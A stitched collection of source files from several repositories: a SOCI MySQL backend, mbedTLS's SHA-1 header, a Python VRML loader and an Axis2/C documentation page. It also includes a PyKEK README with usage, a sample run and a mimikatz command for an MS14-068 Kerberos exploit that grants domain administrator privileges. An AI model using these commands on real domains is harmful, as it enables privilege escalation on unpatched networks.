for (int i = 0; i != numberOfExecutions; ++i)
{
std::vector<char *> paramValues;
if (not useByPosBuffers_.empty())
{
// use elements bind by position
// the map of use buffers can be traversed
// in its natural order
for (UseByPosBuffersMap::iterator
it = useByPosBuffers_.begin(),
end = useByPosBuffers_.end();
it != end; ++it)
{
char **buffers = it->second;
//cerr<<"i: "<<i<<", buffers[i]: "<<buffers[i]<<endl;
paramValues.push_back(buffers[i]);
}
}
else
{
// use elements bind by name
for (std::vector<std::string>::iterator
it = names_.begin(), end = names_.end();
it != end; ++it)
{
UseByNameBuffersMap::iterator b
= useByNameBuffers_.find(*it);
if (b == useByNameBuffers_.end())
{
std::string msg(
"Missing use element for bind by name (");
msg += *it;
msg += ").";
throw soci_error(msg);
}
char **buffers = b->second;
paramValues.push_back(buffers[i]);
}
}
//cerr << "queryChunks_.size(): "<<queryChunks_.size()<<endl;
//cerr << "paramValues.size(): "<<paramValues.size()<<endl;
if (queryChunks_.size() != paramValues.size()
and queryChunks_.size() != paramValues.size() + 1)
{
throw soci_error("Wrong number of parameters.");
}
std::vector<std::string>::const_iterator ci
= queryChunks_.begin();
for (std::vector<char*>::const_iterator
pi = paramValues.begin(), end = paramValues.end();
pi != end; ++ci, ++pi)
{
query += *ci;
query += *pi;
}
if (ci != queryChunks_.end())
{
query += *ci;
}
if (numberOfExecutions > 1)
{
// bulk operation
//std::cerr << "bulk operation:\n" << query << std::endl;
if (0 != mysql_real_query(session_.conn_, query.c_str(),
query.size()))
{
// preserve the number of rows affected so far.
rowsAffectedBulk_ = rowsAffectedBulkTemp;
throw mysql_soci_error(mysql_error(session_.conn_),
mysql_errno(session_.conn_));
}
else
{
rowsAffectedBulkTemp += static_cast<long long>(mysql_affected_rows(session_.conn_));
}
if (mysql_field_count(session_.conn_) != 0)
{
throw soci_error("The query shouldn't have returned"
" any data but it did.");
}
query.clear();
}
}
rowsAffectedBulk_ = rowsAffectedBulkTemp;
if (numberOfExecutions > 1)
{
// bulk
return ef_no_data;
}
}
else
{
query = queryChunks_.front();
}
//std::cerr << query << std::endl;
if (0 != mysql_real_query(session_.conn_, query.c_str(),
query.size()))
{
throw mysql_soci_error(mysql_error(session_.conn_),
mysql_errno(session_.conn_));
}
result_ = mysql_store_result(session_.conn_);
if (result_ == NULL and mysql_field_count(session_.conn_) != 0)
{
throw mysql_soci_error(mysql_error(session_.conn_),
mysql_errno(session_.conn_));
}
if (result_ != NULL)
{
// Cache the rows offsets to have random access to the rows later.
// [mysql_data_seek() is O(n) so we don't want to use it].
int numrows = static_cast<int>(mysql_num_rows(result_));
resultRowOffsets_.resize(numrows);
for (int i = 0; i < numrows; i++)
{
resultRowOffsets_[i] = mysql_row_tell(result_);
mysql_fetch_row(result_);
}
}
}
else
{
justDescribed_ = false;
}
if (result_ != NULL)
{
currentRow_ = 0;
rowsToConsume_ = 0;
numberOfRows_ = static_cast<int>(mysql_num_rows(result_));
if (numberOfRows_ == 0)
{
return ef_no_data;
}
else
{
if (number > 0)
{
// prepare for the subsequent data consumption
return fetch(number);
}
else
{
// execute(0) was meant to only perform the query
return ef_success;
}
}
}
else
{
// it was not a SELECT
return ef_no_data;
}
}
statement_backend::exec_fetch_result
mysql_statement_backend::fetch(int number)
{
// Note: This function does not actually fetch anything from anywhere
// - the data was already retrieved from the server in the execute()
// function, and the actual consumption of this data will take place
// in the postFetch functions, called for each into element.
// Here, we only prepare for this to happen (to emulate "the Oracle way").
// forward the "cursor" from the last fetch
currentRow_ += rowsToConsume_;
if (currentRow_ >= numberOfRows_)
{
// all rows were already consumed
return ef_no_data;
}
else
{
if (currentRow_ + number > numberOfRows_)
{
rowsToConsume_ = numberOfRows_ - currentRow_;
// this simulates the behaviour of Oracle
// - when EOF is hit, we return ef_no_data even when there are
// actually some rows fetched
return ef_no_data;
}
else
{
rowsToConsume_ = number;
return ef_success;
}
}
}
long long mysql_statement_backend::get_affected_rows()
{
if (rowsAffectedBulk_ >= 0)
{
return rowsAffectedBulk_;
}
return static_cast<long long>(mysql_affected_rows(session_.conn_));
}
int mysql_statement_backend::get_number_of_rows()
{
return numberOfRows_ - currentRow_;
}
std::string mysql_statement_backend::rewrite_for_procedure_call(
std::string const &query)
{
std::string newQuery("select ");
newQuery += query;
return newQuery;
}
int mysql_statement_backend::prepare_for_describe()
{
execute(1);
justDescribed_ = true;
int columns = mysql_field_count(session_.conn_);
return columns;
}
void mysql_statement_backend::describe_column(int colNum,
data_type & type, std::string & columnName)
{
int pos = colNum - 1;
MYSQL_FIELD *field = mysql_fetch_field_direct(result_, pos);
switch (field->type)
{
case FIELD_TYPE_CHAR: //MYSQL_TYPE_TINY:
case FIELD_TYPE_SHORT: //MYSQL_TYPE_SHORT:
case FIELD_TYPE_INT24: //MYSQL_TYPE_INT24:
type = dt_integer;
break;
case FIELD_TYPE_LONG: //MYSQL_TYPE_LONG:
type = field->flags & UNSIGNED_FLAG ? dt_long_long
: dt_integer;
break;
case FIELD_TYPE_LONGLONG: //MYSQL_TYPE_LONGLONG:
type = field->flags & UNSIGNED_FLAG ? dt_unsigned_long_long :
dt_long_long;
break;
case FIELD_TYPE_FLOAT: //MYSQL_TYPE_FLOAT:
case FIELD_TYPE_DOUBLE: //MYSQL_TYPE_DOUBLE:
case FIELD_TYPE_DECIMAL: //MYSQL_TYPE_DECIMAL:
// Prior to MySQL v. 5.x there was no column type corresponding
// to MYSQL_TYPE_NEWDECIMAL. However, MySQL server 5.x happily
// sends field type number 246, no matter which version of libraries
// the client is using.
case 246: //MYSQL_TYPE_NEWDECIMAL:
type = dt_double;
break;
case FIELD_TYPE_TIMESTAMP: //MYSQL_TYPE_TIMESTAMP:
case FIELD_TYPE_DATE: //MYSQL_TYPE_DATE:
case FIELD_TYPE_TIME: //MYSQL_TYPE_TIME:
case FIELD_TYPE_DATETIME: //MYSQL_TYPE_DATETIME:
case FIELD_TYPE_YEAR: //MYSQL_TYPE_YEAR:
case FIELD_TYPE_NEWDATE: //MYSQL_TYPE_NEWDATE:
type = dt_date;
break;
// case MYSQL_TYPE_VARCHAR:
case FIELD_TYPE_VAR_STRING: //MYSQL_TYPE_VAR_STRING:
case FIELD_TYPE_STRING: //MYSQL_TYPE_STRING:
case FIELD_TYPE_BLOB: // TEXT OR BLOB
case FIELD_TYPE_TINY_BLOB:
case FIELD_TYPE_MEDIUM_BLOB:
case FIELD_TYPE_LONG_BLOB:
type = dt_string;
break;
default:
//std::cerr << "field->type: " << field->type << std::endl;
throw soci_error("Unknown data type.");
}
columnName = field->name;
}
mysql_standard_into_type_backend *
mysql_statement_backend::make_into_type_backend()
{
hasIntoElements_ = true;
return new mysql_standard_into_type_backend(*this);
}
mysql_standard_use_type_backend *
mysql_statement_backend::make_use_type_backend()
{
hasUseElements_ = true;
return new mysql_standard_use_type_backend(*this);
}
mysql_vector_into_type_backend *
mysql_statement_backend::make_vector_into_type_backend()
{
hasVectorIntoElements_ = true;
return new mysql_vector_into_type_backend(*this);
}
mysql_vector_use_type_backend *
mysql_statement_backend::make_vector_use_type_backend()
{
hasVectorUseElements_ = true;
return new mysql_vector_use_type_backend(*this);
}
|
cheshirekow/codebase
|
third_party/soci/backends/mysql/statement.cpp
|
C++
|
gpl-3.0
| 14,389
|
Python Kerberos Exploitation Kit
===
PyKEK (Python Kerberos Exploitation Kit), a python library to manipulate KRB5-related data. (Still in development)
For now, only a few functionalities have been implemented (in a quite Quick'n'Dirty way) to exploit MS14-068 (CVE-2014-6324) .
More is coming...
# Author
Sylvain Monné
Contact : sylvain dot monne at solucom dot fr
http://twitter.com/bidord
Special thanks to: Benjamin DELPY `gentilkiwi`
# Library content
* kek.krb5: Kerberos V5 ([RFC 4120](https://tools.ietf.org/html/rfc4120)) ASN.1 structures and basic protocol functions
* kek.ccache: Credential Cache Binary Format ([cchache](http://www.gnu.org/software/shishi/manual/html_node/The-Credential-Cache-Binary-File-Format.html))
* kek.pac: Microsoft Privilege Attribute Certificate Data Structure ([MS-PAC](http://msdn.microsoft.com/en-us/library/cc237917.aspx))
* kek.crypto: Kerberos and MS specific cryptographic functions
# Exploits
## ms14-068.py
Exploits [MS14-680](https://technet.microsoft.com/en-us/library/security/ms14-068.aspx) vulnerability on an un-patched domain controler of an Active Directory domain to get a Kerberos ticket for an existing domain user account with the privileges of the following domain groups :
- Domain Users (513)
- Domain Admins (512)
- Schema Admins (518)
- Enterprise Admins (519)
- Group Policy Creator Owners (520)
### Usage :
```
USAGE:
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
OPTIONS:
-p <clearPassword>
--rc4 <ntlmHash>
```
### Example usage :
#### Linux (tested with samba and MIT Kerberos)
```
root@kali:~/sploit/pykek# python ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc
Password:
[+] Building AS-REQ for dc-a-2003.dom-a.loc... Done!
[+] Sending AS-REQ to dc-a-2003.dom-a.loc... Done!
[+] Receiving AS-REP from dc-a-2003.dom-a.loc... Done!
[+] Parsing AS-REP from dc-a-2003.dom-a.loc... Done!
[+] Building TGS-REQ for dc-a-2003.dom-a.loc... Done!
[+] Sending TGS-REQ to dc-a-2003.dom-a.loc... Done!
[+] Receiving TGS-REP from dc-a-2003.dom-a.loc... Done!
[+] Parsing TGS-REP from dc-a-2003.dom-a.loc... Done!
[+] Creating ccache file 'TGT_user-a-1@dom-a.loc.ccache'... Done!
root@kali:~/sploit/pykek# mv TGT_user-a-1@dom-a.loc.ccache /tmp/krb5cc_0
```
#### On Windows
```
python.exe ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc
mimikatz.exe "kerberos::ptc TGT_user-a-1@dom-a.loc.ccache" exit`
```
|
hackersql/sq1map
|
Web/信息收集/权限攻防/windows/系统提权/windows-kernel-exploits-master/MS14-068/pykek/README.md
|
Markdown
|
gpl-3.0
| 2,546
|
/**
* \file sha1.h
*
* \brief This file contains SHA-1 definitions and functions.
*
* The Secure Hash Algorithm 1 (SHA-1) cryptographic hash function is defined in
* <em>FIPS 180-4: Secure Hash Standard (SHS)</em>.
*
* \warning SHA-1 is considered a weak message digest and its use constitutes
* a security risk. We recommend considering stronger message
* digests instead.
*/
/*
* Copyright The Mbed TLS Contributors
* SPDX-License-Identifier: Apache-2.0 OR GPL-2.0-or-later
*
* This file is provided under the Apache License 2.0, or the
* GNU General Public License v2.0 or later.
*
* **********
* Apache License 2.0:
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* **********
*
* **********
* GNU General Public License v2.0 or later:
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*
* **********
*/
#ifndef MBEDTLS_SHA1_H
#define MBEDTLS_SHA1_H
#if !defined(MBEDTLS_CONFIG_FILE)
#include "config.h"
#else
#include MBEDTLS_CONFIG_FILE
#endif
#include <stddef.h>
#include <stdint.h>
/* MBEDTLS_ERR_SHA1_HW_ACCEL_FAILED is deprecated and should not be used. */
#define MBEDTLS_ERR_SHA1_HW_ACCEL_FAILED -0x0035 /**< SHA-1 hardware accelerator failed */
#define MBEDTLS_ERR_SHA1_BAD_INPUT_DATA -0x0073 /**< SHA-1 input data was malformed. */
#ifdef __cplusplus
extern "C" {
#endif
#if !defined(MBEDTLS_SHA1_ALT)
// Regular implementation
//
/**
* \brief The SHA-1 context structure.
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
*/
typedef struct mbedtls_sha1_context
{
uint32_t total[2]; /*!< The number of Bytes processed. */
uint32_t state[5]; /*!< The intermediate digest state. */
unsigned char buffer[64]; /*!< The data block being processed. */
}
mbedtls_sha1_context;
#else /* MBEDTLS_SHA1_ALT */
#include "sha1_alt.h"
#endif /* MBEDTLS_SHA1_ALT */
/**
* \brief This function initializes a SHA-1 context.
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \param ctx The SHA-1 context to initialize.
* This must not be \c NULL.
*
*/
void mbedtls_sha1_init( mbedtls_sha1_context *ctx );
/**
* \brief This function clears a SHA-1 context.
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \param ctx The SHA-1 context to clear. This may be \c NULL,
* in which case this function does nothing. If it is
* not \c NULL, it must point to an initialized
* SHA-1 context.
*
*/
void mbedtls_sha1_free( mbedtls_sha1_context *ctx );
/**
* \brief This function clones the state of a SHA-1 context.
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \param dst The SHA-1 context to clone to. This must be initialized.
* \param src The SHA-1 context to clone from. This must be initialized.
*
*/
void mbedtls_sha1_clone( mbedtls_sha1_context *dst,
const mbedtls_sha1_context *src );
/**
* \brief This function starts a SHA-1 checksum calculation.
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \param ctx The SHA-1 context to initialize. This must be initialized.
*
* \return \c 0 on success.
* \return A negative error code on failure.
*
*/
int mbedtls_sha1_starts_ret( mbedtls_sha1_context *ctx );
/**
* \brief This function feeds an input buffer into an ongoing SHA-1
* checksum calculation.
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \param ctx The SHA-1 context. This must be initialized
* and have a hash operation started.
* \param input The buffer holding the input data.
* This must be a readable buffer of length \p ilen Bytes.
* \param ilen The length of the input data \p input in Bytes.
*
* \return \c 0 on success.
* \return A negative error code on failure.
*/
int mbedtls_sha1_update_ret( mbedtls_sha1_context *ctx,
const unsigned char *input,
size_t ilen );
/**
* \brief This function finishes the SHA-1 operation, and writes
* the result to the output buffer.
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \param ctx The SHA-1 context to use. This must be initialized and
* have a hash operation started.
* \param output The SHA-1 checksum result. This must be a writable
* buffer of length \c 20 Bytes.
*
* \return \c 0 on success.
* \return A negative error code on failure.
*/
int mbedtls_sha1_finish_ret( mbedtls_sha1_context *ctx,
unsigned char output[20] );
/**
* \brief SHA-1 process data block (internal use only).
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \param ctx The SHA-1 context to use. This must be initialized.
* \param data The data block being processed. This must be a
* readable buffer of length \c 64 Bytes.
*
* \return \c 0 on success.
* \return A negative error code on failure.
*
*/
int mbedtls_internal_sha1_process( mbedtls_sha1_context *ctx,
const unsigned char data[64] );
#if !defined(MBEDTLS_DEPRECATED_REMOVED)
#if defined(MBEDTLS_DEPRECATED_WARNING)
#define MBEDTLS_DEPRECATED __attribute__((deprecated))
#else
#define MBEDTLS_DEPRECATED
#endif
/**
* \brief This function starts a SHA-1 checksum calculation.
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \disabled_deprecated Superseded by mbedtls_sha1_starts_ret() in 2.7.0.
*
* \param ctx The SHA-1 context to initialize. This must be initialized.
*
*/
MBEDTLS_DEPRECATED void mbedtls_sha1_starts( mbedtls_sha1_context *ctx );
/**
* \brief This function feeds an input buffer into an ongoing SHA-1
* checksum calculation.
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \disabled_deprecated Superseded by mbedtls_sha1_update_ret() in 2.7.0.
*
* \param ctx The SHA-1 context. This must be initialized and
* have a hash operation started.
* \param input The buffer holding the input data.
* This must be a readable buffer of length \p ilen Bytes.
* \param ilen The length of the input data \p input in Bytes.
*
*/
MBEDTLS_DEPRECATED void mbedtls_sha1_update( mbedtls_sha1_context *ctx,
const unsigned char *input,
size_t ilen );
/**
* \brief This function finishes the SHA-1 operation, and writes
* the result to the output buffer.
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \disabled_deprecated Superseded by mbedtls_sha1_finish_ret() in 2.7.0.
*
* \param ctx The SHA-1 context. This must be initialized and
* have a hash operation started.
* \param output The SHA-1 checksum result.
* This must be a writable buffer of length \c 20 Bytes.
*/
MBEDTLS_DEPRECATED void mbedtls_sha1_finish( mbedtls_sha1_context *ctx,
unsigned char output[20] );
/**
* \brief SHA-1 process data block (internal use only).
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \disabled_deprecated Superseded by mbedtls_internal_sha1_process() in 2.7.0.
*
* \param ctx The SHA-1 context. This must be initialized.
* \param data The data block being processed.
* This must be a readable buffer of length \c 64 bytes.
*
*/
MBEDTLS_DEPRECATED void mbedtls_sha1_process( mbedtls_sha1_context *ctx,
const unsigned char data[64] );
#undef MBEDTLS_DEPRECATED
#endif /* !MBEDTLS_DEPRECATED_REMOVED */
/**
* \brief This function calculates the SHA-1 checksum of a buffer.
*
* The function allocates the context, performs the
* calculation, and frees the context.
*
* The SHA-1 result is calculated as
* output = SHA-1(input buffer).
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \param input The buffer holding the input data.
* This must be a readable buffer of length \p ilen Bytes.
* \param ilen The length of the input data \p input in Bytes.
* \param output The SHA-1 checksum result.
* This must be a writable buffer of length \c 20 Bytes.
*
* \return \c 0 on success.
* \return A negative error code on failure.
*
*/
int mbedtls_sha1_ret( const unsigned char *input,
size_t ilen,
unsigned char output[20] );
#if !defined(MBEDTLS_DEPRECATED_REMOVED)
#if defined(MBEDTLS_DEPRECATED_WARNING)
#define MBEDTLS_DEPRECATED __attribute__((deprecated))
#else
#define MBEDTLS_DEPRECATED
#endif
/**
* \brief This function calculates the SHA-1 checksum of a buffer.
*
* The function allocates the context, performs the
* calculation, and frees the context.
*
* The SHA-1 result is calculated as
* output = SHA-1(input buffer).
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \disabled_deprecated Superseded by mbedtls_sha1_ret() in 2.7.0
*
* \param input The buffer holding the input data.
* This must be a readable buffer of length \p ilen Bytes.
* \param ilen The length of the input data \p input in Bytes.
* \param output The SHA-1 checksum result. This must be a writable
* buffer of size \c 20 Bytes.
*
*/
MBEDTLS_DEPRECATED void mbedtls_sha1( const unsigned char *input,
size_t ilen,
unsigned char output[20] );
#undef MBEDTLS_DEPRECATED
#endif /* !MBEDTLS_DEPRECATED_REMOVED */
#if defined(MBEDTLS_SELF_TEST)
/**
* \brief The SHA-1 checkup routine.
*
* \warning SHA-1 is considered a weak message digest and its use
* constitutes a security risk. We recommend considering
* stronger message digests instead.
*
* \return \c 0 on success.
* \return \c 1 on failure.
*
*/
int mbedtls_sha1_self_test( int verbose );
#endif /* MBEDTLS_SELF_TEST */
#ifdef __cplusplus
}
#endif
#endif /* mbedtls_sha1.h */
|
bibledit/windows
|
server/mbedtls/sha1.h
|
C
|
gpl-3.0
| 13,830
|
import os
import numpy as np
from vrml.vrml97 import basenodes, nodetypes, parser, parseprocessor
class VRML_Loader(object):
"""
Parser for VRML files. The VRML language is described in its specification
at http://www.web3d.org/documents/specifications/14772/V2.0/index.html
"""
def __init__(self, environment, filename, translation=None, transform=None):
self.environment = environment
self.filename = filename
if translation is None:
translation = (0.0, 0.0, 0.0)
elif len(translation) != 3:
raise ValueError("Translation must be a 3-component offset")
self.translation = tuple(translation)
self._transform = transform
vrml_parser = parser.Parser(parser.grammar, "vrmlFile")
processor = parseprocessor.ParseProcessor(baseURI=self.filename)
with open(self.filename, 'r') as f:
data = f.read()
self._scene = vrml_parser.parse(data, processor=processor)[1][1]
self._objects = None
def get_objects(self):
"""
Retrieve the objects from the VRML scene file.
The objects are provided as a list of lists of lists, where the deepest
nested lists are faces describing a polygon using point locations. Each
element of the list can therefore have multiple faces.
"""
if self._objects is None:
self._objects = []
self._parse_children(self._scene, self._transform)
return self._objects
def _parse_children(self, group, transform=None):
for child in group.children:
if isinstance(child, basenodes.Inline):
# Include the objects from the referenced file into the scene.
path = os.path.join(os.path.dirname(self.filename),
child.url[0])
loader = VRML_Loader(self.environment, path,
translation=self.translation,
transform=transform)
self._objects.extend(loader.get_objects())
elif isinstance(child, basenodes.Transform):
# Jumble up transformation matrices, in case they are nested.
forward = child.localMatrices().data[0]
if forward is not None:
if transform is not None:
new_transform = np.dot(transform, forward)
else:
new_transform = forward
else:
new_transform = transform
self._parse_children(child, new_transform)
elif isinstance(child, nodetypes.Grouping):
# Retrieve children from grouped nodes.
self._parse_children(child, transform)
elif isinstance(child, basenodes.Shape):
# Parse the coordinates from a shape's geometry.
self._parse_geometry(child.geometry, transform)
def _parse_geometry(self, geometry, transform=None):
faces = []
face = []
for i in geometry.coordIndex:
if i == -1:
faces.append(face)
face = []
else:
point = geometry.coord.point[i]
if transform is not None:
# The translation matrices from the VRML library are for
# affine translations, but they are transposed for some
# reason. See vrml.vrml97.transformmatrix, e.g. line 319.
point = np.dot(transform.T, np.append(point, 1).T)
# Convert to Location
# VRML geometry notation is in (x,z,y) where y is the vertical
# axis (using GL notation here). We have to convert it to
# (z,x,y) since the z/x are related to distances on the ground
# in north and east directions, respectively, and y is still
# the altitude.
north = point[1] + self.translation[0]
east = point[0] - self.translation[1]
alt = point[2] + self.translation[2]
loc = self.environment.get_location(north, east, alt)
face.append(loc)
if len(face) > 0:
faces.append(face)
self._objects.append(faces)
|
timvandermeij/mobile-radio-tomography
|
environment/VRML_Loader.py
|
Python
|
gpl-3.0
| 4,378
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<title>Axis2/C: axis2_msg.h File Reference</title>
<link href="doxygen.css" rel="stylesheet" type="text/css">
<link href="tabs.css" rel="stylesheet" type="text/css">
</head><body>
<!-- Generated by Doxygen 1.5.3 -->
<div class="tabs">
<ul>
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="modules.html"><span>Modules</span></a></li>
<li><a href="annotated.html"><span>Classes</span></a></li>
<li class="current"><a href="files.html"><span>Files</span></a></li>
<li><a href="dirs.html"><span>Directories</span></a></li>
<li><a href="pages.html"><span>Related Pages</span></a></li>
<li><a href="examples.html"><span>Examples</span></a></li>
<li>
<form action="search.php" method="get">
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td><label> <u>S</u>earch for </label></td>
<td><input type="text" name="query" value="" size="20" accesskey="s"/></td>
</tr>
</table>
</form>
</li>
</ul>
</div>
<div class="nav">
<a class="el" href="dir_f60961de8e5edc3b2658ef023e959e45.html">deploy</a> » <a class="el" href="dir_6b4e91e54b7316b376882a6402adbf44.html">include</a> » <a class="el" href="dir_df3a7695d5a9e696f30b948b566829e7.html">axis2-1.6.0</a></div>
<h1>axis2_msg.h File Reference</h1><code>#include <<a class="el" href="axutil__param__container_8h-source.html">axutil_param_container.h</a>></code><br>
<code>#include <axis2_op.h></code><br>
<code>#include <<a class="el" href="axutil__array__list_8h-source.html">axutil_array_list.h</a>></code><br>
<code>#include <<a class="el" href="axis2__description_8h-source.html">axis2_description.h</a>></code><br>
<code>#include <axis2_phase_meta.h></code><br>
<p>
<a href="axis2__msg_8h-source.html">Go to the source code of this file.</a><table border="0" cellpadding="0" cellspacing="0">
<tr><td></td></tr>
<tr><td colspan="2"><br><h2>Defines</h2></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g862a13ab2bca0822defd770d15a27fbf">AXIS2_MSG_IN</a> "in"</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#gf8324fc49bef947986c6333e608def13">AXIS2_MSG_OUT</a> "out"</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#gc1a93d406ebcea483078bcd581674bef">AXIS2_MSG_IN_FAULT</a> "InFaultMessage"</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">#define </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g3786b0350a135a0e12915b6e77d6fedf">AXIS2_MSG_OUT_FAULT</a> "OutFaultMessage"</td></tr>
<tr><td colspan="2"><br><h2>Typedefs</h2></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">typedef struct axis2_msg </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a></td></tr>
<tr><td colspan="2"><br><h2>Functions</h2></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
<a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#ge674ded0d7b93ff698a55334d6221286">axis2_msg_create</a> (const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN void </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g168f956533c439c704e34253f1bf77b3">axis2_msg_free</a> (<a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
axis2_status_t </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g4a04523e93cd4066b038f14d31f3d60e">axis2_msg_add_param</a> (<a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env, axutil_param_t *param)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
axutil_param_t * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#gf286bada1249b588b79d9b90520b5a09">axis2_msg_get_param</a> (const <a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env, const axis2_char_t *name)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
<a class="el" href="group__axutil__array__list.html#g1a6a89777db876cfa0cc86787b7be6a0">axutil_array_list_t</a> * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g6e0c544674fad801039013b66e5f548a">axis2_msg_get_all_params</a> (const <a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN axis2_bool_t </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g51ae7e6eb9afee5f7e82bd7f8c21bf96">axis2_msg_is_param_locked</a> (<a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env, const axis2_char_t *param_name)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
axis2_status_t </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g7701b38d18f59fb09f37e9e974bfc3d0">axis2_msg_set_parent</a> (<a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env, <a class="el" href="group__axis2__op.html#g13ff0e97eb92c0681768b60a93bf1bc9">axis2_op_t</a> *op)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <a class="el" href="group__axis2__op.html#g13ff0e97eb92c0681768b60a93bf1bc9">axis2_op_t</a> * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g8191091ac7e17ed45c6d0ed3c9bc3d59">axis2_msg_get_parent</a> (const <a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
